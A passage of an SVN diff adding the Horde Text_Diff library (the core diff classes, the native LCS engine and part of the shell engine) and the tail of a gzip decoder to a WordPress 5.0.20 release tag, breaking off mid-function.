+				$this->min_compressed_size += $len + 2;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Read the CRC
+					$crc = current(unpack('v', substr($this->compressed_data, $this->position, 2)));
+
+					// Check the CRC matches
+					if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc)
+					{
+						$this->position += 2;
+					}
+					else
+					{
+						return false;
+					}
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Decompress the actual data
+			if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false)
+			{
+				return false;
+			}
+			else
+			{
+				$this->position = $this->compressed_size - 8;
+			}
+
+			// Check CRC of data
+			$crc = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
+			$this->position += 4;
+			/*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc))
+			{
+				return false;
+			}*/
+
+			// Check ISIZE of data
+			$isize = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
+			$this->position += 4;
+			if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize))
+			{
+				return false;
+			}
+
+			// Wow, against all odds, we've actually got a valid gzip string
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Text/Diff.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Text/Diff.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Text/Diff.php	(revision 56912)
@@ -0,0 +1,506 @@
+<?php
+/**
+ * General API for generating and formatting diffs - the differences between
+ * two sequences of strings.
+ *
+ * The original PHP version of this code was written by Geoffrey T. Dairiki
+ * <dairiki@dairiki.org>, and is used/adapted with his permission.
+ *
+ * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
+ * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ */
+class Text_Diff {
+
+    /**
+     * Array of changes.
+     *
+     * @var array
+     */
+    var $_edits;
+
+    /**
+     * Computes diffs between sequences of strings.
+     *
+     * @param string $engine     Name of the diffing engine to use.  'auto'
+     *                           will automatically select the best.
+     * @param array $params      Parameters to pass to the diffing engine.
+     *                           Normally an array of two arrays, each
+     *                           containing the lines from a file.
+     */
+    function __construct( $engine, $params )
+    {
+        // Backward compatibility workaround.
+        if (!is_string($engine)) {
+            $params = array($engine, $params);
+            $engine = 'auto';
+        }
+
+        if ($engine == 'auto') {
+            $engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
+        } else {
+            $engine = basename($engine);
+        }
+
+        // WP #7391
+        require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
+        $class = 'Text_Diff_Engine_' . $engine;
+        $diff_engine = new $class();
+
+        $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function Text_Diff( $engine, $params ) {
+		self::__construct( $engine, $params );
+	}
+
+    /**
+     * Returns the array of differences.
+     */
+    function getDiff()
+    {
+        return $this->_edits;
+    }
+
+    /**
+     * returns the number of new (added) lines in a given diff.
+     *
+     * @since Text_Diff 1.1.0
+     *
+     * @return integer The number of new lines
+     */
+    function countAddedLines()
+    {
+        $count = 0;
+        foreach ($this->_edits as $edit) {
+            if (is_a($edit, 'Text_Diff_Op_add') ||
+                is_a($edit, 'Text_Diff_Op_change')) {
+                $count += $edit->nfinal();
+            }
+        }
+        return $count;
+    }
+
+    /**
+     * Returns the number of deleted (removed) lines in a given diff.
+     *
+     * @since Text_Diff 1.1.0
+     *
+     * @return integer The number of deleted lines
+     */
+    function countDeletedLines()
+    {
+        $count = 0;
+        foreach ($this->_edits as $edit) {
+            if (is_a($edit, 'Text_Diff_Op_delete') ||
+                is_a($edit, 'Text_Diff_Op_change')) {
+                $count += $edit->norig();
+            }
+        }
+        return $count;
+    }
+
+    /**
+     * Computes a reversed diff.
+     *
+     * Example:
+     * <code>
+     * $diff = new Text_Diff($lines1, $lines2);
+     * $rev = $diff->reverse();
+     * </code>
+     *
+     * @return Text_Diff  A Diff object representing the inverse of the
+     *                    original diff.  Note that we purposely don't return a
+     *                    reference here, since this essentially is a clone()
+     *                    method.
+     */
+    function reverse()
+    {
+        if (version_compare(zend_version(), '2', '>')) {
+            $rev = clone($this);
+        } else {
+            $rev = $this;
+        }
+        $rev->_edits = array();
+        foreach ($this->_edits as $edit) {
+            $rev->_edits[] = $edit->reverse();
+        }
+        return $rev;
+    }
+
+    /**
+     * Checks for an empty diff.
+     *
+     * @return boolean  True if two sequences were identical.
+     */
+    function isEmpty()
+    {
+        foreach ($this->_edits as $edit) {
+            if (!is_a($edit, 'Text_Diff_Op_copy')) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Computes the length of the Longest Common Subsequence (LCS).
+     *
+     * This is mostly for diagnostic purposes.
+     *
+     * @return integer  The length of the LCS.
+     */
+    function lcs()
+    {
+        $lcs = 0;
+        foreach ($this->_edits as $edit) {
+            if (is_a($edit, 'Text_Diff_Op_copy')) {
+                $lcs += count($edit->orig);
+            }
+        }
+        return $lcs;
+    }
+
+    /**
+     * Gets the original set of lines.
+     *
+     * This reconstructs the $from_lines parameter passed to the constructor.
+     *
+     * @return array  The original sequence of strings.
+     */
+    function getOriginal()
+    {
+        $lines = array();
+        foreach ($this->_edits as $edit) {
+            if ($edit->orig) {
+                array_splice($lines, count($lines), 0, $edit->orig);
+            }
+        }
+        return $lines;
+    }
+
+    /**
+     * Gets the final set of lines.
+     *
+     * This reconstructs the $to_lines parameter passed to the constructor.
+     *
+     * @return array  The sequence of strings.
+     */
+    function getFinal()
+    {
+        $lines = array();
+        foreach ($this->_edits as $edit) {
+            if ($edit->final) {
+                array_splice($lines, count($lines), 0, $edit->final);
+            }
+        }
+        return $lines;
+    }
+
+    /**
+     * Removes trailing newlines from a line of text. This is meant to be used
+     * with array_walk().
+     *
+     * @param string $line  The line to trim.
+     * @param integer $key  The index of the line in the array. Not used.
+     */
+    static function trimNewlines(&$line, $key)
+    {
+        $line = str_replace(array("\n", "\r"), '', $line);
+    }
+
+    /**
+     * Determines the location of the system temporary directory.
+     *
+     * @static
+     *
+     * @access protected
+     *
+     * @return string  A directory name which can be used for temp files.
+     *                 Returns false if one could not be found.
+     */
+    function _getTempDir()
+    {
+        $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp',
+                               'c:\windows\temp', 'c:\winnt\temp');
+
+        /* Try PHP's upload_tmp_dir directive. */
+        $tmp = ini_get('upload_tmp_dir');
+
+        /* Otherwise, try to determine the TMPDIR environment variable. */
+        if (!strlen($tmp)) {
+            $tmp = getenv('TMPDIR');
+        }
+
+        /* If we still cannot determine a value, then cycle through a list of
+         * preset possibilities. */
+        while (!strlen($tmp) && count($tmp_locations)) {
+            $tmp_check = array_shift($tmp_locations);
+            if (@is_dir($tmp_check)) {
+                $tmp = $tmp_check;
+            }
+        }
+
+        /* If it is still empty, we have failed, so return false; otherwise
+         * return the directory determined. */
+        return strlen($tmp) ? $tmp : false;
+    }
+
+    /**
+     * Checks a diff for validity.
+     *
+     * This is here only for debugging purposes.
+     */
+    function _check($from_lines, $to_lines)
+    {
+        if (serialize($from_lines) != serialize($this->getOriginal())) {
+            trigger_error("Reconstructed original doesn't match", E_USER_ERROR);
+        }
+        if (serialize($to_lines) != serialize($this->getFinal())) {
+            trigger_error("Reconstructed final doesn't match", E_USER_ERROR);
+        }
+
+        $rev = $this->reverse();
+        if (serialize($to_lines) != serialize($rev->getOriginal())) {
+            trigger_error("Reversed original doesn't match", E_USER_ERROR);
+        }
+        if (serialize($from_lines) != serialize($rev->getFinal())) {
+            trigger_error("Reversed final doesn't match", E_USER_ERROR);
+        }
+
+        $prevtype = null;
+        foreach ($this->_edits as $edit) {
+            if ($prevtype == get_class($edit)) {
+                trigger_error("Edit sequence is non-optimal", E_USER_ERROR);
+            }
+            $prevtype = get_class($edit);
+        }
+
+        return true;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ */
+class Text_MappedDiff extends Text_Diff {
+
+    /**
+     * Computes a diff between sequences of strings.
+     *
+     * This can be used to compute things like case-insensitve diffs, or diffs
+     * which ignore changes in white-space.
+     *
+     * @param array $from_lines         An array of strings.
+     * @param array $to_lines           An array of strings.
+     * @param array $mapped_from_lines  This array should have the same size
+     *                                  number of elements as $from_lines.  The
+     *                                  elements in $mapped_from_lines and
+     *                                  $mapped_to_lines are what is actually
+     *                                  compared when computing the diff.
+     * @param array $mapped_to_lines    This array should have the same number
+     *                                  of elements as $to_lines.
+     */
+    function __construct($from_lines, $to_lines,
+                             $mapped_from_lines, $mapped_to_lines)
+    {
+        assert(count($from_lines) == count($mapped_from_lines));
+        assert(count($to_lines) == count($mapped_to_lines));
+
+        parent::Text_Diff($mapped_from_lines, $mapped_to_lines);
+
+        $xi = $yi = 0;
+        for ($i = 0; $i < count($this->_edits); $i++) {
+            $orig = &$this->_edits[$i]->orig;
+            if (is_array($orig)) {
+                $orig = array_slice($from_lines, $xi, count($orig));
+                $xi += count($orig);
+            }
+
+            $final = &$this->_edits[$i]->final;
+            if (is_array($final)) {
+                $final = array_slice($to_lines, $yi, count($final));
+                $yi += count($final);
+            }
+        }
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function Text_MappedDiff( $from_lines, $to_lines,
+                             $mapped_from_lines, $mapped_to_lines ) {
+		self::__construct( $from_lines, $to_lines,
+                             $mapped_from_lines, $mapped_to_lines );
+	}
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op {
+
+    var $orig;
+    var $final;
+
+    function &reverse()
+    {
+        trigger_error('Abstract method', E_USER_ERROR);
+    }
+
+    function norig()
+    {
+        return $this->orig ? count($this->orig) : 0;
+    }
+
+    function nfinal()
+    {
+        return $this->final ? count($this->final) : 0;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_copy extends Text_Diff_Op {
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct( $orig, $final = false )
+    {
+        if (!is_array($final)) {
+            $final = $orig;
+        }
+        $this->orig = $orig;
+        $this->final = $final;
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function Text_Diff_Op_copy( $orig, $final = false ) {
+		self::__construct( $orig, $final );
+	}
+
+    function &reverse()
+    {
+        $reverse = new Text_Diff_Op_copy($this->final, $this->orig);
+        return $reverse;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_delete extends Text_Diff_Op {
+
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct( $lines )
+    {
+        $this->orig = $lines;
+        $this->final = false;
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function Text_Diff_Op_delete( $lines ) {
+		self::__construct( $lines );
+	}
+
+    function &reverse()
+    {
+        $reverse = new Text_Diff_Op_add($this->orig);
+        return $reverse;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_add extends Text_Diff_Op {
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct( $lines )
+    {
+        $this->final = $lines;
+        $this->orig = false;
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function Text_Diff_Op_add( $lines ) {
+		self::__construct( $lines );
+	}
+
+    function &reverse()
+    {
+        $reverse = new Text_Diff_Op_delete($this->final);
+        return $reverse;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_change extends Text_Diff_Op {
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct( $orig, $final )
+    {
+        $this->orig = $orig;
+        $this->final = $final;
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function Text_Diff_Op_change( $orig, $final ) {
+		self::__construct( $orig, $final );
+	}
+
+    function &reverse()
+    {
+        $reverse = new Text_Diff_Op_change($this->final, $this->orig);
+        return $reverse;
+    }
+
+}
Index: /tags/5.0.20/src/wp-includes/Text/Diff/Engine/native.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Text/Diff/Engine/native.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Text/Diff/Engine/native.php	(revision 56912)
@@ -0,0 +1,438 @@
+<?php
+/**
+ * Class used internally by Text_Diff to actually compute the diffs.
+ *
+ * This class is implemented using native PHP code.
+ *
+ * The algorithm used here is mostly lifted from the perl module
+ * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
+ * http://www.perl.com/CPAN/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
+ *
+ * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
+ *
+ * Some ideas (and a bit of code) are taken from analyze.c, of GNU
+ * diffutils-2.7, which can be found at:
+ * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
+ *
+ * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
+ * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
+ * code was written by him, and is used/adapted with his permission.
+ *
+ * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ * @package Text_Diff
+ */
+class Text_Diff_Engine_native {
+
+    function diff($from_lines, $to_lines)
+    {
+        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
+        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));
+
+        $n_from = count($from_lines);
+        $n_to = count($to_lines);
+
+        $this->xchanged = $this->ychanged = array();
+        $this->xv = $this->yv = array();
+        $this->xind = $this->yind = array();
+        unset($this->seq);
+        unset($this->in_seq);
+        unset($this->lcs);
+
+        // Skip leading common lines.
+        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
+            if ($from_lines[$skip] !== $to_lines[$skip]) {
+                break;
+            }
+            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
+        }
+
+        // Skip trailing common lines.
+        $xi = $n_from; $yi = $n_to;
+        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
+            if ($from_lines[$xi] !== $to_lines[$yi]) {
+                break;
+            }
+            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
+        }
+
+        // Ignore lines which do not exist in both files.
+        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
+            $xhash[$from_lines[$xi]] = 1;
+        }
+        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
+            $line = $to_lines[$yi];
+            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
+                continue;
+            }
+            $yhash[$line] = 1;
+            $this->yv[] = $line;
+            $this->yind[] = $yi;
+        }
+        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
+            $line = $from_lines[$xi];
+            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
+                continue;
+            }
+            $this->xv[] = $line;
+            $this->xind[] = $xi;
+        }
+
+        // Find the LCS.
+        $this->_compareseq(0, count($this->xv), 0, count($this->yv));
+
+        // Merge edits when possible.
+        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
+        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);
+
+        // Compute the edit operations.
+        $edits = array();
+        $xi = $yi = 0;
+        while ($xi < $n_from || $yi < $n_to) {
+            assert($yi < $n_to || $this->xchanged[$xi]);
+            assert($xi < $n_from || $this->ychanged[$yi]);
+
+            // Skip matching "snake".
+            $copy = array();
+            while ($xi < $n_from && $yi < $n_to
+                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
+                $copy[] = $from_lines[$xi++];
+                ++$yi;
+            }
+            if ($copy) {
+                $edits[] = new Text_Diff_Op_copy($copy);
+            }
+
+            // Find deletes & adds.
+            $delete = array();
+            while ($xi < $n_from && $this->xchanged[$xi]) {
+                $delete[] = $from_lines[$xi++];
+            }
+
+            $add = array();
+            while ($yi < $n_to && $this->ychanged[$yi]) {
+                $add[] = $to_lines[$yi++];
+            }
+
+            if ($delete && $add) {
+                $edits[] = new Text_Diff_Op_change($delete, $add);
+            } elseif ($delete) {
+                $edits[] = new Text_Diff_Op_delete($delete);
+            } elseif ($add) {
+                $edits[] = new Text_Diff_Op_add($add);
+            }
+        }
+
+        return $edits;
+    }
+
+    /**
+     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
+     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
+     * segments.
+     *
+     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
+     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
+     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
+     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
+     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
+     *
+     * This function assumes that the first lines of the specified portions of
+     * the two files do not match, and likewise that the last lines do not
+     * match.  The caller must trim matching lines from the beginning and end
+     * of the portions it is going to specify.
+     */
+    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
+    {
+        $flip = false;
+
+        if ($xlim - $xoff > $ylim - $yoff) {
+            /* Things seems faster (I'm not sure I understand why) when the
+             * shortest sequence is in X. */
+            $flip = true;
+            list ($xoff, $xlim, $yoff, $ylim)
+                = array($yoff, $ylim, $xoff, $xlim);
+        }
+
+        if ($flip) {
+            for ($i = $ylim - 1; $i >= $yoff; $i--) {
+                $ymatches[$this->xv[$i]][] = $i;
+            }
+        } else {
+            for ($i = $ylim - 1; $i >= $yoff; $i--) {
+                $ymatches[$this->yv[$i]][] = $i;
+            }
+        }
+
+        $this->lcs = 0;
+        $this->seq[0]= $yoff - 1;
+        $this->in_seq = array();
+        $ymids[0] = array();
+
+        $numer = $xlim - $xoff + $nchunks - 1;
+        $x = $xoff;
+        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
+            if ($chunk > 0) {
+                for ($i = 0; $i <= $this->lcs; $i++) {
+                    $ymids[$i][$chunk - 1] = $this->seq[$i];
+                }
+            }
+
+            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
+            for (; $x < $x1; $x++) {
+                $line = $flip ? $this->yv[$x] : $this->xv[$x];
+                if (empty($ymatches[$line])) {
+                    continue;
+                }
+                $matches = $ymatches[$line];
+                reset($matches);
+                while ($y = current($matches)) {
+                    if (empty($this->in_seq[$y])) {
+                        $k = $this->_lcsPos($y);
+                        assert($k > 0);
+                        $ymids[$k] = $ymids[$k - 1];
+                        break;
+                    }
+                    next($matches);
+                }
+                while ($y = current($matches)) {
+                    if ($y > $this->seq[$k - 1]) {
+                        assert($y <= $this->seq[$k]);
+                        /* Optimization: this is a common case: next match is
+                         * just replacing previous match. */
+                        $this->in_seq[$this->seq[$k]] = false;
+                        $this->seq[$k] = $y;
+                        $this->in_seq[$y] = 1;
+                    } elseif (empty($this->in_seq[$y])) {
+                        $k = $this->_lcsPos($y);
+                        assert($k > 0);
+                        $ymids[$k] = $ymids[$k - 1];
+                    }
+                    next($matches);
+                }
+            }
+        }
+
+        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
+        $ymid = $ymids[$this->lcs];
+        for ($n = 0; $n < $nchunks - 1; $n++) {
+            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
+            $y1 = $ymid[$n] + 1;
+            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
+        }
+        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);
+
+        return array($this->lcs, $seps);
+    }
+
+    function _lcsPos($ypos)
+    {
+        $end = $this->lcs;
+        if ($end == 0 || $ypos > $this->seq[$end]) {
+            $this->seq[++$this->lcs] = $ypos;
+            $this->in_seq[$ypos] = 1;
+            return $this->lcs;
+        }
+
+        $beg = 1;
+        while ($beg < $end) {
+            $mid = (int)(($beg + $end) / 2);
+            if ($ypos > $this->seq[$mid]) {
+                $beg = $mid + 1;
+            } else {
+                $end = $mid;
+            }
+        }
+
+        assert($ypos != $this->seq[$end]);
+
+        $this->in_seq[$this->seq[$end]] = false;
+        $this->seq[$end] = $ypos;
+        $this->in_seq[$ypos] = 1;
+        return $end;
+    }
+
+    /**
+     * Finds LCS of two sequences.
+     *
+     * The results are recorded in the vectors $this->{x,y}changed[], by
+     * storing a 1 in the element for each line that is an insertion or
+     * deletion (ie. is not in the LCS).
+     *
+     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
+     *
+     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
+     * origin-0 and discarded lines are not counted.
+     */
+    function _compareseq ($xoff, $xlim, $yoff, $ylim)
+    {
+        /* Slide down the bottom initial diagonal. */
+        while ($xoff < $xlim && $yoff < $ylim
+               && $this->xv[$xoff] == $this->yv[$yoff]) {
+            ++$xoff;
+            ++$yoff;
+        }
+
+        /* Slide up the top initial diagonal. */
+        while ($xlim > $xoff && $ylim > $yoff
+               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
+            --$xlim;
+            --$ylim;
+        }
+
+        if ($xoff == $xlim || $yoff == $ylim) {
+            $lcs = 0;
+        } else {
+            /* This is ad hoc but seems to work well.  $nchunks =
+             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
+             * max(2,min(8,(int)$nchunks)); */
+            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
+            list($lcs, $seps)
+                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
+        }
+
+        if ($lcs == 0) {
+            /* X and Y sequences have no common subsequence: mark all
+             * changed. */
+            while ($yoff < $ylim) {
+                $this->ychanged[$this->yind[$yoff++]] = 1;
+            }
+            while ($xoff < $xlim) {
+                $this->xchanged[$this->xind[$xoff++]] = 1;
+            }
+        } else {
+            /* Use the partitions to split this problem into subproblems. */
+            reset($seps);
+            $pt1 = $seps[0];
+            while ($pt2 = next($seps)) {
+                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
+                $pt1 = $pt2;
+            }
+        }
+    }
+
+    /**
+     * Adjusts inserts/deletes of identical lines to join changes as much as
+     * possible.
+     *
+     * We do something when a run of changed lines include a line at one end
+     * and has an excluded, identical line at the other.  We are free to
+     * choose which identical line is included.  `compareseq' usually chooses
+     * the one at the beginning, but usually it is cleaner to consider the
+     * following identical line to be the "change".
+     *
+     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
+     */
+    function _shiftBoundaries($lines, &$changed, $other_changed)
+    {
+        $i = 0;
+        $j = 0;
+
+        assert(count($lines) == count($changed));
+        $len = count($lines);
+        $other_len = count($other_changed);
+
+        while (1) {
+            /* Scan forward to find the beginning of another run of
+             * changes. Also keep track of the corresponding point in the
+             * other file.
+             *
+             * Throughout this code, $i and $j are adjusted together so that
+             * the first $i elements of $changed and the first $j elements of
+             * $other_changed both contain the same number of zeros (unchanged
+             * lines).
+             *
+             * Furthermore, $j is always kept so that $j == $other_len or
+             * $other_changed[$j] == false. */
+            while ($j < $other_len && $other_changed[$j]) {
+                $j++;
+            }
+
+            while ($i < $len && ! $changed[$i]) {
+                assert($j < $other_len && ! $other_changed[$j]);
+                $i++; $j++;
+                while ($j < $other_len && $other_changed[$j]) {
+                    $j++;
+                }
+            }
+
+            if ($i == $len) {
+                break;
+            }
+
+            $start = $i;
+
+            /* Find the end of this run of changes. */
+            while (++$i < $len && $changed[$i]) {
+                continue;
+            }
+
+            do {
+                /* Record the length of this run of changes, so that we can
+                 * later determine whether the run has grown. */
+                $runlength = $i - $start;
+
+                /* Move the changed region back, so long as the previous
+                 * unchanged line matches the last changed one.  This merges
+                 * with previous changed regions. */
+                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
+                    $changed[--$start] = 1;
+                    $changed[--$i] = false;
+                    while ($start > 0 && $changed[$start - 1]) {
+                        $start--;
+                    }
+                    assert($j > 0);
+                    while ($other_changed[--$j]) {
+                        continue;
+                    }
+                    assert($j >= 0 && !$other_changed[$j]);
+                }
+
+                /* Set CORRESPONDING to the end of the changed run, at the
+                 * last point where it corresponds to a changed run in the
+                 * other file. CORRESPONDING == LEN means no such point has
+                 * been found. */
+                $corresponding = $j < $other_len ? $i : $len;
+
+                /* Move the changed region forward, so long as the first
+                 * changed line matches the following unchanged one.  This
+                 * merges with following changed regions.  Do this second, so
+                 * that if there are no merges, the changed region is moved
+                 * forward as far as possible. */
+                while ($i < $len && $lines[$start] == $lines[$i]) {
+                    $changed[$start++] = false;
+                    $changed[$i++] = 1;
+                    while ($i < $len && $changed[$i]) {
+                        $i++;
+                    }
+
+                    assert($j < $other_len && ! $other_changed[$j]);
+                    $j++;
+                    if ($j < $other_len && $other_changed[$j]) {
+                        $corresponding = $i;
+                        while ($j < $other_len && $other_changed[$j]) {
+                            $j++;
+                        }
+                    }
+                }
+            } while ($runlength != $i - $start);
+
+            /* If possible, move the fully-merged run of changes back to a
+             * corresponding run in the other file. */
+            while ($corresponding < $i) {
+                $changed[--$start] = 1;
+                $changed[--$i] = 0;
+                assert($j > 0);
+                while ($other_changed[--$j]) {
+                    continue;
+                }
+                assert($j >= 0 && !$other_changed[$j]);
+            }
+        }
+    }
+
+}
Index: /tags/5.0.20/src/wp-includes/Text/Diff/Engine/shell.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Text/Diff/Engine/shell.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Text/Diff/Engine/shell.php	(revision 56912)
@@ -0,0 +1,162 @@
+<?php
+/**
+ * Class used internally by Diff to actually compute the diffs.
+ *
+ * This class uses the Unix `diff` program via shell_exec to compute the
+ * differences between the two input arrays.
+ *
+ * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Milian Wolff <mail@milianw.de>
+ * @package Text_Diff
+ * @since   0.3.0
+ */
+class Text_Diff_Engine_shell {
+
+    /**
+     * Path to the diff executable
+     *
+     * @var string
+     */
+    var $_diffCommand = 'diff';
+
+    /**
+     * Returns the array of differences.
+     *
+     * @param array $from_lines lines of text from old file
+     * @param array $to_lines   lines of text from new file
+     *
+     * @return array all changes made (array with Text_Diff_Op_* objects)
+     */
+    function diff($from_lines, $to_lines)
+    {
+        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
+        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));
+
+        $temp_dir = Text_Diff::_getTempDir();
+
+        // Execute gnu diff or similar to get a standard diff file.
+        $from_file = tempnam($temp_dir, 'Text_Diff');
+        $to_file = tempnam($temp_dir, 'Text_Diff');
+        $fp = fopen($from_file, 'w');
+        fwrite($fp, implode("\n", $from_lines));
+        fclose($fp);
+        $fp = fopen($to_file, 'w');
+        fwrite($fp, implode("\n", $to_lines));
+        fclose($fp);
+        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
+        unlink($from_file);
+        unlink($to_file);
+
+        if (is_null($diff)) {
+            // No changes were made
+            return array(new Text_Diff_Op_copy($from_lines));
+        }
+
+        $from_line_no = 1;
+        $to_line_no = 1;
+        $edits = array();
+
+        // Get changed lines by parsing something like:
+        // 0a1,2
+        // 1,2c4,6
+        // 1,5d6
+        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
+            $matches, PREG_SET_ORDER);
+
+        foreach ($matches as $match) {
+            if (!isset($match[5])) {
+                // This paren is not set every time (see regex).
+                $match[5] = false;
+            }
+
+            if ($match[3] == 'a') {
+                $from_line_no--;
+            }
+
+            if ($match[3] == 'd') {
+                $to_line_no--;
+            }
+
+            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
+                // copied lines
+                assert('$match[1] - $from_line_no == $match[4] - $to_line_no');
+                array_push($edits,
+                    new Text_Diff_Op_copy(
+                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
+                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
+            }
+
+            switch ($match[3]) {
+            case 'd':
+                // deleted lines
+                array_push($edits,
+                    new Text_Diff_Op_delete(
+                        $this->_getLines($from_lines, $from_line_no, $match[2])));
+                $to_line_no++;
+                break;
+
+            case 'c':
+                // changed lines
+                array_push($edits,
+                    new Text_Diff_Op_change(
+                        $this->_getLines($from_lines, $from_line_no, $match[2]),
+                        $this->_getLines($to_lines, $to_line_no, $match[5])));
+                break;
+
+            case 'a':
+                // added lines
+                array_push($edits,
+                    new Text_Diff_Op_add(
+                        $this->_getLines($to_lines, $to_line_no, $match[5])));
+                $from_line_no++;
+                break;
+            }
+        }
+
+        if (!empty($from_lines)) {
+            // Some lines might still be pending. Add them as copied
+            array_push($edits,
+                new Text_Diff_Op_copy(
+                    $this->_getLines($from_lines, $from_line_no,
+                                     $from_line_no + count($from_lines) - 1),
+                    $this->_getLines($to_lines, $to_line_no,
